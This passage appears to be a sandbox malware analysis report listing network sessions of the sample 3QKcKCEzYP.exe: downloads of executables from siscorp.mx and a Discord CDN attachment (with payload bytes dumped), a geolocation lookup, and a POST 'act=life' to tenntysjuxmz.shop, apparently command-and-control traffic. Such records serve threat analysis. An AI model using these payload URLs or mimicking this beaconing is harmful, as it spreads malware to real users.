__cf_bm=ThydGiLNvD4JlFqYkDhmO3IHqMaxJzCC1fCsNAiwk10-1724221934-1.0.1.1-fvrE6Pm4ZoBzNkPuw_MoIAm8C4VY_YgpVwUDOBN2SvJ.qDQ95YjbGlD63RgZwmY7reqsLMGnBkNiT7CTmzBoCg; path=/; expires=Wed, 21-Aug-24 07:02:14 GMT; domain=.discordapp.com; HttpOnly; Secure; SameSite=None
2024-08-21 06:32:14 UTC	517	IN	Data Raw: 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 65 6e 64 70 6f 69 6e 74 73 22 3a 5b 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 61 2e 6e 65 6c 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 5c 2f 72 65 70 6f 72 74 5c 2f 76 34 3f 73 3d 74 34 71 63 66 50 76 72 53 4d 36 72 58 58 63 64 44 71 6e 71 4d 71 56 49 77 36 25 32 46 56 43 4c 69 39 54 36 65 50 58 39 31 33 63 37 48 47 75 36 4b 59 31 77 66 6e 31 50 75 54 6c 66 55 73 66 5a 78 73 31 44 39 58 36 55 66 36 25 32 46 68 52 41 4f 67 75 42 4b 41 66 37 55 64 4b 25 32 42 44 34 76 45 70 53 30 37 35 58 7a 6a 36 25 32 42 49 45 50 41 52 44 46 51 68 35 45 73 57 78 58 52 59 58 79 39 74 74 4d 67 59 53 35 33 71 45 71 51 25 33 44 25 33 44 22 7d 5d 2c 22 67 72 6f 75 70 22 3a 22 63 66 2d 6e 65 6c 22 2c 22 6d 61 78 5f 61 67 65 Data Ascii: Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=t4qcfPvrSM6rXXcdDqnqMqVIw6%2FVCLi9T6ePX913c7HGu6KY1wfn1PuTlfUsfZxs1D9X6Uf6%2FhRAOguBKAf7UdK%2BD4vEpS075Xzj6%2BIEPARDFQh5EsWxXRYXy9ttMgYS53qEqQ%3D%3D"}],"group":"cf-nel","max_age

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49731	162.241.63.30	443	4032	C:\Users\user\Desktop\3QKcKCEzYP.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-21 06:32:14 UTC	206	OUT	GET /kleiseIche.exe#space HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: siscorp.mx Cache-Control: no-cache
2024-08-21 06:32:14 UTC	199	IN	HTTP/1.1 400 Bad Request Date: Wed, 21 Aug 2024 06:32:14 GMT Server: Apache X-Robots-Tag: noindex, nofollow Content-Length: 347 Connection: close Content-Type: text/html; charset=iso-8859-1
2024-08-21 06:32:14 UTC	347	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0a 65 72 72 6f 72 20 77 61 73 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><p>Additionally, a 400 Bad Requesterror was

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49729	162.241.63.30	443	4032	C:\Users\user\Desktop\3QKcKCEzYP.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-21 06:32:14 UTC	205	OUT	GET /jaliwYuqe.exe#space HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: siscorp.mx Cache-Control: no-cache
2024-08-21 06:32:15 UTC	199	IN	HTTP/1.1 400 Bad Request Date: Wed, 21 Aug 2024 06:32:14 GMT Server: Apache X-Robots-Tag: noindex, nofollow Content-Length: 347 Connection: close Content-Type: text/html; charset=iso-8859-1
2024-08-21 06:32:15 UTC	347	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0a 65 72 72 6f 72 20 77 61 73 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><p>Additionally, a 400 Bad Requesterror was

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49732	162.159.130.233	443	4032	C:\Users\user\Desktop\3QKcKCEzYP.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-21 06:32:15 UTC	624	OUT	GET /attachments/1272461485628719179/1275658810836389929/setup.exe?ex=66c6b159&is=66c55fd9&hm=06dccc1459e975128b6048bb7dc7f7716e473fbfda4829e75986eb59000ab6b0& HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Cache-Control: no-cache Host: cdn.discordapp.com Connection: Keep-Alive Cookie: __cf_bm=ThydGiLNvD4JlFqYkDhmO3IHqMaxJzCC1fCsNAiwk10-1724221934-1.0.1.1-fvrE6Pm4ZoBzNkPuw_MoIAm8C4VY_YgpVwUDOBN2SvJ.qDQ95YjbGlD63RgZwmY7reqsLMGnBkNiT7CTmzBoCg; _cfuvid=811ittjpd4nqG2ymyjpMHL1NUpPFYuTQXahY9Yrh2sY-1724221934314-0.0.1.1-604800000
2024-08-21 06:32:15 UTC	1295	IN	HTTP/1.1 200 OK Date: Wed, 21 Aug 2024 06:32:15 GMT Content-Type: application/x-msdos-program Content-Length: 7642866 Connection: close CF-Ray: 8b6895b6cd5519f3-EWR CF-Cache-Status: HIT Accept-Ranges: bytes, bytes Age: 1 Cache-Control: public, max-age=31536000 Content-Disposition: attachment; filename="setup.exe" ETag: "6685baac90c11334ff11841bfa22e61b" Expires: Thu, 21 Aug 2025 06:32:15 GMT Last-Modified: Wed, 21 Aug 2024 03:32:41 GMT Vary: Accept-Encoding alt-svc: h3=":443"; ma=86400 x-goog-generation: 1724211161158906 x-goog-hash: crc32c=24Esrg== x-goog-hash: md5=ZoW6rJDBEzT/EYQb+iLmGw== x-goog-metageneration: 1 x-goog-storage-class: STANDARD x-goog-stored-content-encoding: identity x-goog-stored-content-length: 7642866 x-guploader-uploadid: AHxI1nO22K7-2E6BtwjeQNfNE0t8IuKjlFaUGZCHIGtygTo0cwuvVxTyHXz0e027tnUW2syyq_PEl5A_gA X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Ko0BVKKVE7WdfQ%2F79jq4bJR4ng7%2BlDVm9Bv2eWIqYXLxkMSpY1Ya0ORcwCtAbuJGnDm%2BmOA2Yb9vW1Zm7vupObNDIpAXZjZP%2FkzzuDGMecwOrSpoIF%2FlGvJ3dcQW7miyK%2BtnUQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare
2024-08-21 06:32:15 UTC	74	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 Data Ascii: MZ@!
2024-08-21 06:32:15 UTC	1369	IN	Data Raw: 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 dd e1 1d 57 99 80 73 04 99 80 73 04 99 80 73 04 1a 9c 7d 04 80 80 73 04 af a6 79 04 d9 80 73 04 17 88 2c 04 98 80 73 04 99 80 72 04 21 80 73 04 1a 88 2e 04 90 80 73 04 af a6 78 04 d4 80 73 04 f6 f6 d9 04 9e 80 73 04 f6 f6 ed 04 98 80 73 04 5e 86 75 04 98 80 73 04 52 69 63 68 99 80 73 04 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 f7 53 e5 4c 00 00 00 00 00 00 00 00 e0 00 0f 01 0b 01 06 00 00 9a 01 00 00 b0 00 00 00 00 00 00 04 4b 01 00 00 10 00 00 00 b0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 80 02 00 00 04 00 00 00 00 00 00 02 00 00 00 00 Data Ascii: L!This program cannot be run in DOS mode.$Wsss}sys,sr!s.sxsss^usRichsPELSLK@
2024-08-21 06:32:15 UTC	1369	IN	Data Raw: 00 8d 8d 30 ff ff ff e8 d1 0a 00 00 57 8d 4d cc 89 5d cc 89 5d d0 89 5d d4 e8 af 0f 00 00 39 5d ac c6 85 2c ff ff ff 01 0f 84 e0 02 00 00 8d 8d 54 ff ff ff e8 79 0f 00 00 bf 34 b3 41 00 8d 95 54 ff ff ff 8d 4d a8 89 bd 54 ff ff ff e8 65 2b 00 00 84 c0 75 19 38 5d 0b 75 0c ba 20 02 42 00 33 c9 e8 89 fe 00 00 6a 01 5b e9 21 01 00 00 68 14 02 42 00 8d 4d f0 e8 61 0a 00 00 8d 45 f0 8d 95 54 ff ff ff 50 8d 4d c0 e8 42 2e 00 00 ff 75 f0 e8 63 28 00 00 8d 4d f0 c7 04 24 fc 01 42 00 e8 38 0a 00 00 8d 45 f0 8d 95 54 ff ff ff 50 8d 4d d8 e8 19 2e 00 00 ff 75 f0 e8 3a 28 00 00 8d 4d f0 c7 04 24 e8 01 42 00 e8 0f 0a 00 00 8d 45 f0 8d 95 54 ff ff ff 50 8d 8d 20 ff ff ff e8 ed 2d 00 00 ff 75 f0 e8 0e 28 00 00 59 ba e0 01 42 00 8b 8d 20 ff ff ff e8 b0 28 00 00 85 c0 75 Data Ascii: 0WM]]]9],Ty4ATMTe+u8]u B3j[!hBMaETPMB.uc(M$B8ETPM.u:(M$BETP -u(YB (u
2024-08-21 06:32:15 UTC	1369	IN	Data Raw: 23 00 00 ff 75 c0 e8 95 23 00 00 59 e9 a1 01 00 00 8b 85 0c ff ff ff ff 75 d8 89 45 08 e8 7e 23 00 00 ff 75 c0 e8 76 23 00 00 59 e9 2e 02 00 00 39 5d d0 75 56 68 d0 00 42 00 8d 4d cc e8 dd 05 00 00 8d 55 cc 8d 8d 48 ff ff ff e8 cc 02 00 00 8b 08 e8 29 41 00 00 ff b5 48 ff ff ff f6 d8 1a c0 fe c0 88 45 ff e8 35 23 00 00 38 5d ff 59 74 1a 38 5d 0b 0f 85 39 01 00 00 ba a0 00 42 00 33 c9 e8 11 f9 00 00 e9 28 01 00 00 8d 85 3c ff ff ff 8d 4d c0 50 e8 4b 05 00 00 8d 4d c0 e8 6d 45 00 00 68 94 00 42 00 8d 4d f0 e8 d5 04 00 00 8d 45 c0 8d 4d cc 50 8d 45 f0 50 e8 9b 06 00 00 ff 75 f0 e8 d9 22 00 00 ff 75 c0 e8 d1 22 00 00 59 59 68 8c 00 42 00 8d 4d f0 e8 a6 04 00 00 8d 85 3c ff ff ff 8d 4d cc 50 8d 45 f0 50 e8 69 06 00 00 ff 75 f0 e8 a7 22 00 00 39 5d e8 59 74 16 Data Ascii: #u#YuE~#uv#Y.9]uVhBMUH)AHE5#8]Yt8]9B3(<MPKMmEhBMEMPEPu"u"YYhBM<MPEPiu"9]Yt
2024-08-21 06:32:15 UTC	1369	IN	Data Raw: 06 b3 01 eb 02 32 db 83 4d fc ff 8d 4d e4 e8 0d 3d 00 00 8a c3 5b 8b 4d f4 5f 5e 64 89 0d 00 00 00 00 c9 c2 08 00 e9 f5 3c 00 00 55 8b ec 51 53 56 57 8b 7d 08 8b f1 33 db 89 5d fc 89 1e 89 5e 04 89 5e 08 66 39 1f 74 0c 8b c7 ff 45 fc 40 40 66 39 18 75 f6 ff 75 fc 8b ce e8 bc 04 00 00 8b 06 66 8b 0f 8d 57 02 66 89 08 40 40 66 3b cb 74 0c 66 8b 0a 66 89 08 40 40 42 42 eb ef 8b 45 fc 5f 89 46 04 8b c6 5e 5b c9 c2 04 00 56 57 8b 7c 24 0c 8b f1 33 c0 89 06 89 46 04 89 46 08 ff 77 04 e8 75 04 00 00 8b 0f 8b 06 66 8b 11 66 89 10 40 40 41 41 66 85 d2 75 f1 8b 47 04 5f 89 46 04 8b c6 5e c2 04 00 55 8b ec 51 56 8b f1 57 8b 7d 08 8b 06 33 c9 89 4e 04 89 4d fc 66 89 08 66 39 0f 74 0c 8b c7 ff 45 fc 40 40 66 39 08 75 f6 ff 75 fc 8b ce e8 22 04 00 00 8b 06 66 8b 0f 8d Data Ascii: 2MM=[M_^d<UQSVW}3]^^f9tE@@f9uufWf@@f;tff@@BBE_F^[VW\|$3FFwuff@@AAfuG_F^UQVW}3NMff9tE@@f9uu"f
2024-08-21 06:32:15 UTC	1369	IN	Data Raw: 00 00 59 8b 46 04 89 3e 66 83 24 47 00 89 5e 08 5f 5e 5b c2 04 00 53 56 57 8b 79 08 8b 5c 24 10 8b f7 2b 71 04 4e 3b de 7e 30 83 ff 40 7e 09 8b c7 99 2b c2 d1 f8 eb 0f 33 c0 83 ff 08 0f 9e c0 48 83 e0 0c 83 c0 04 8d 14 30 3b d3 7d 04 2b de 8b c3 03 f8 57 e8 68 ff ff ff 5f 5e 5b c2 04 00 b8 38 91 41 00 e8 3c 17 01 00 83 ec 10 53 8b 5d 0c 56 8b 75 10 57 8b f9 8d 14 33 33 c9 8b 47 04 89 4d f0 3b d0 7e 04 8b f0 2b f3 3b d9 75 0f 3b f0 75 0b 8b 4d 08 57 e8 97 fa ff ff eb 5d 89 4d e4 89 4d e8 89 4d ec 6a 03 8d 4d e4 e8 11 ff ff ff 83 65 fc 00 56 8d 4d e4 e8 04 ff ff ff 33 c9 85 f6 7e 17 8d 04 1b 8b 17 8b 5d e4 66 8b 14 10 66 89 14 4b 41 40 40 3b ce 7c ec 8b 45 e4 8b 4d 08 66 83 24 70 00 8d 45 e4 50 89 75 e8 e8 41 fa ff ff ff 75 e4 e8 f4 17 00 00 59 8b 4d f4 8b Data Ascii: YF>f$G^_^[SVWy\$+qN;~0@~+3H0;}+Wh_^[8A<S]VuW33GM;~+;u;uMW]MMMjMeVM3~]ffKA@@;\|EMf$pEPuAuYM
2024-08-21 06:32:15 UTC	1369	IN	Data Raw: 00 6a 00 ff 74 24 14 8d 88 a8 00 00 00 ff 74 24 14 e8 05 00 00 00 33 c0 c2 0c 00 56 8b f1 56 ff 15 a0 b0 41 00 8b 44 24 08 56 89 46 20 8b 44 24 10 89 46 24 8b 44 24 14 89 46 28 8b 44 24 18 89 46 2c ff 15 9c b0 41 00 5e c2 10 00 8b 44 24 04 56 8d b0 a8 00 00 00 8b ce e8 4a 6e 00 00 85 c0 75 16 8b 44 24 0c 85 c0 74 0c ff 70 04 8b ce ff 30 e8 06 00 00 00 33 c0 5e c2 08 00 56 8b f1 56 ff 15 a0 b0 41 00 8b 44 24 08 56 89 46 28 8b 44 24 10 89 46 2c ff 15 9c b0 41 00 5e c2 08 00 b8 9c 91 41 00 e8 a4 11 01 00 83 ec 0c 56 83 c1 10 57 51 8d 4d e8 e8 20 f5 ff ff 8b 75 08 33 ff 89 7d fc 39 7e 08 7e 26 8b 46 0c 8d 4d e8 ff 34 b8 e8 07 f6 ff ff 8b 4d e8 e8 b8 21 00 00 6a 5c 8d 4d e8 e8 ca f5 ff ff 47 3b 7e 08 7c da ff 75 e8 e8 a0 12 00 00 59 5f 8b 4d f4 5e 64 89 0d 00 Data Ascii: jt$t$3VVAD$VF D$F$D$F(D$F,A^D$VJnuD$tp03^VVAD$VF(D$F,A^AVWQM u3}9~~&FM4M!j\MG;~\|uY_M^d
2024-08-21 06:32:15 UTC	1369	IN	Data Raw: c6 45 fc 09 89 38 bf 70 b3 41 00 8d 45 b8 8d 4e 28 50 e8 03 f1 ff ff ff b5 7c ff ff ff e8 1a 0e 00 00 ff 75 b8 e8 12 0e 00 00 ff 75 9c e8 0a 0e 00 00 83 c4 0c 89 7d c4 8d 4d c4 c6 45 fc 0d e8 32 16 00 00 8d 4d c4 c6 45 fc 02 e8 fd 15 00 00 8d 4d d8 c6 45 fc 01 e8 78 31 00 00 eb 05 8b 45 10 89 18 ff 75 e8 e8 d1 0d 00 00 83 4d fc ff 59 8d 4d a8 e8 5c 31 00 00 33 c0 8b 4d f4 5f 5e 5b 64 89 0d 00 00 00 00 c9 c2 10 00 e9 44 31 00 00 55 8b ec 6a 10 68 4c b9 41 00 ff 75 0c e8 ce 07 01 00 83 c4 0c 85 c0 74 16 6a 10 68 e8 b2 41 00 ff 75 0c e8 b8 07 01 00 83 c4 0c 85 c0 75 12 8b 4d 10 8b 45 08 50 89 01 8b 08 ff 51 04 33 c0 eb 05 b8 02 40 00 80 5d c2 0c 00 8b 4c 24 04 ff 49 04 8b 41 04 75 0d 85 c9 74 07 8b 01 6a 01 ff 50 18 33 c0 c2 04 00 56 8b f1 e8 14 00 00 00 f6 Data Ascii: E8pAEN(P\|uu}ME2MEMEx1EuMYM\13M_^[dD1UjhLAutjhAuuMEPQ3@]L$IAutjP3V
2024-08-21 06:32:15 UTC	1369	IN	Data Raw: ff 75 c0 e8 db 08 00 00 e9 d2 00 00 00 8d 46 10 8d 4d e4 50 e8 0f eb ff ff 8d 4d e4 c6 45 fc 02 e8 2d 2b 00 00 8b 4d e4 e8 f7 17 00 00 84 c0 75 40 8d 45 e4 8d 4d d8 50 6a 09 5a e8 70 63 00 00 50 8d 4e 64 c6 45 fc 03 e8 74 eb ff ff ff 75 d8 e8 8e 08 00 00 ff 75 e4 c7 46 60 05 40 00 80 e8 7f 08 00 00 ff 75 c0 e8 77 08 00 00 83 c4 0c eb 6f 68 9c 03 42 00 8d 4d d8 e8 49 ea ff ff 8b 47 08 8b 4f 0c 53 c6 45 fc 04 8b 44 81 fc 8d 4d b0 51 8d 4d d8 8b 00 51 8d 4d e4 51 8b 4e 1c 50 e8 28 f4 ff ff ff 75 d8 c6 45 fc 02 e8 33 08 00 00 8b 47 08 8b 57 0c 59 8b 44 82 fc 8b 4e 20 51 53 8b 00 6a ff 53 50 8b 10 ff 52 1c ff 75 e4 89 46 60 e8 0d 08 00 00 ff 75 c0 e8 05 08 00 00 59 59 8b 4d f4 5f 5e 5b 64 89 0d 00 00 00 00 c9 c3 8b c1 33 c9 89 48 04 89 48 08 89 48 0c 8b 4c 24 Data Ascii: uFMPME-+Mu@EMPjZpcPNdEtuuF`@uwohBMIGOSEDMQMQMQNP(uE3GWYDN QSjSPRuF`uYYM_^[d3HHHL$
2024-08-21 06:32:15 UTC	1369	IN	Data Raw: 8b 4c 24 04 ff 49 08 8b 41 08 75 0d 85 c9 74 07 8b 01 6a 01 ff 50 20 33 c0 c2 04 00 56 8b f1 e8 14 00 00 00 f6 44 24 08 01 74 07 56 e8 59 03 00 00 59 8b c6 5e c2 04 00 b8 4b 94 41 00 e8 00 02 01 00 51 56 8b f1 89 75 f0 c7 06 9c b3 41 00 c7 46 04 90 b3 41 00 8d 4e 6c c7 45 fc 07 00 00 00 e8 67 00 00 00 ff b6 e4 00 00 00 e8 1a 03 00 00 59 8d 4e 68 e8 45 ff ff ff ff 76 50 e8 09 03 00 00 8b 46 4c 59 85 c0 c6 45 fc 03 74 06 8b 08 50 ff 51 08 ff 76 28 e8 ef 02 00 00 ff 76 1c e8 e7 02 00 00 ff 76 10 e8 df 02 00 00 8b 76 0c 83 4d fc ff 83 c4 0c 85 f6 74 06 8b 06 56 ff 50 08 8b 4d f4 5e 64 89 0d 00 00 00 00 c9 c3 56 8b f1 8b 06 85 c0 75 04 b0 01 5e c3 50 ff 15 d4 b1 41 00 85 c0 0f 95 c0 84 c0 74 03 83 26 00 5e c3 8b 01 85 c0 74 06 8b 08 50 ff 51 08 c3 b8 60 94 41 Data Ascii: L$IAutjP 3VD$tVYY^KAQVuAFANlEgYNhEvPFLYEtPQv(vvvMtVPM^dVu^PAt&^tPQ`A

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49738	188.114.96.3	443	4032	C:\Users\user\Desktop\3QKcKCEzYP.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-21 06:32:27 UTC	201	OUT	GET /1cN8u7 HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Edg/127.0.0.0 Host: yip.su
2024-08-21 06:32:27 UTC	1131	IN	HTTP/1.1 200 OK Date: Wed, 21 Aug 2024 06:32:27 GMT Content-Type: image/png Transfer-Encoding: chunked Connection: close set-cookie: 29748358137263905=3; expires=Thu, 21 Aug 2025 06:32:27 GMT; Max-Age=31536000; path=/; secure; HttpOnly; SameSite=Strict set-cookie: clhf03028ja=8.46.123.33; expires=Thu, 21 Aug 2025 06:32:27 GMT; Max-Age=31536000; path=/; secure; HttpOnly; SameSite=Strict memory: 0.42980194091796875 expires: Wed, 21 Aug 2024 06:32:27 +0000 Cache-Control: no-store, no-cache, must-revalidate strict-transport-security: max-age=604800 strict-transport-security: max-age=31536000 content-security-policy: img-src https: data:; upgrade-insecure-requests x-frame-options: SAMEORIGIN CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=fphIFdGORMw22Sba0D4m3mgq5jWa%2BGy3xAKkhfjfUgQdzK9xyPT9jzOwLZjnP%2BQ11UM8MRRBQcse2XjJplWN9YbPFn2E%2FqIKV47Kols0xbT4WRAl57KJghA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8b6896021c46179d-EWR alt-svc: h3=":443"; ma=86400
2024-08-21 06:32:27 UTC	122	IN	Data Raw: 37 34 0d 0a 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 01 00 00 00 01 01 03 00 00 00 25 db 56 ca 00 00 00 03 50 4c 54 45 00 00 00 a7 7a 3d da 00 00 00 01 74 52 4e 53 00 40 e6 d8 66 00 00 00 09 70 48 59 73 00 00 0e c4 00 00 0e c4 01 95 2b 0e 1b 00 00 00 0a 49 44 41 54 08 99 63 60 00 00 00 02 00 01 f4 71 64 a6 00 00 00 00 49 45 4e 44 ae 42 60 82 0d 0a Data Ascii: 74PNGIHDR%VPLTEz=tRNS@fpHYs+IDATc`qdIENDB`
2024-08-21 06:32:27 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.6	49748	188.114.96.3	443

Timestamp	Bytes transferred	Direction	Data
2024-08-21 06:32:55 UTC	85	OUT	GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua
2024-08-21 06:32:55 UTC	889	IN	HTTP/1.1 200 OK Date: Wed, 21 Aug 2024 06:32:55 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close strict-transport-security: max-age=63072000; preload x-frame-options: SAMEORIGIN x-content-type-options: nosniff x-xss-protection: 1; mode=block; report=... access-control-allow-origin: * access-control-allow-methods: POST, GET, PUT, OPTIONS, PATCH, DELETE access-control-allow-headers: X-Accept-Charset,X-Accept,Content-Type CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=bize7KIyR9Wdfxr%2Bv1GlRl1iAl9vwiAQak%2BNEsZXLqU4LJ6RHaC0sbHR5TbynUjlwPv%2FLwvt1Hl0QpZ5ua9t4k9fKvZKTHLvsSShBIJIG5cdU4EOK207buiXg1gx"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8b6896b06c44c40e-EWR alt-svc: h3=":443"; ma=86400
2024-08-21 06:32:55 UTC	418	IN	Data Raw: 31 39 62 0d 0a 7b 22 69 70 22 3a 22 38 2e 34 36 2e 31 32 33 2e 33 33 22 2c 22 63 6f 75 6e 74 72 79 5f 63 6f 64 65 22 3a 22 55 53 22 2c 22 63 6f 75 6e 74 72 79 22 3a 22 55 6e 69 74 65 64 20 73 74 61 74 65 73 20 6f 66 20 61 6d 65 72 69 63 61 22 2c 22 63 6f 75 6e 74 72 79 5f 72 75 73 22 3a 22 5c 75 30 34 32 31 5c 75 30 34 32 38 5c 75 30 34 31 30 22 2c 22 63 6f 75 6e 74 72 79 5f 75 61 22 3a 22 5c 75 30 34 32 31 5c 75 30 34 32 38 5c 75 30 34 31 30 22 2c 22 72 65 67 69 6f 6e 22 3a 22 4e 65 77 20 79 6f 72 6b 22 2c 22 72 65 67 69 6f 6e 5f 72 75 73 22 3a 22 5c 75 30 34 31 64 5c 75 30 34 34 63 5c 75 30 34 34 65 2d 5c 75 30 34 31 39 5c 75 30 34 33 65 5c 75 30 34 34 30 5c 75 30 34 33 61 22 2c 22 72 65 67 69 6f 6e 5f 75 61 22 3a 22 5c 75 30 34 31 64 5c 75 30 34 34 63 Data Ascii: 19b{"ip":"8.46.123.33","country_code":"US","country":"United states of america","country_rus":"\u0421\u0428\u0410","country_ua":"\u0421\u0428\u0410","region":"New york","region_rus":"\u041d\u044c\u044e-\u0419\u043e\u0440\u043a","region_ua":"\u041d\u044c
2024-08-21 06:32:55 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.6	49755	188.114.96.3	443

Timestamp	Bytes transferred	Direction	Data
2024-08-21 06:33:01 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: tenntysjuxmz.shop
2024-08-21 06:33:01 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-08-21 06:33:01 UTC	808	IN	HTTP/1.1 200 OK Date: Wed, 21 Aug 2024 06:33:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=v4eqetcrp4bfu74bme7ekmef9u; expires=Sun, 15-Dec-2024 00:19:40 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Q4ehBJt9Xl34wqMO725RmMV%2FQhBw2oGhPQPB42XVdYis0LEbmm5PKst%2FzxENRXrmqwvuP%2FuwjDWjg1kEOsuDQ3sBRMGpd1j4heLB6GZDn%2B0X1tAHP6NjXsBaQIqiFPQ%2BaL1Blw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8b6896d6e9448c9b-EWR alt-svc: h3=":443"; ma=86400
2024-08-21 06:33:01 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
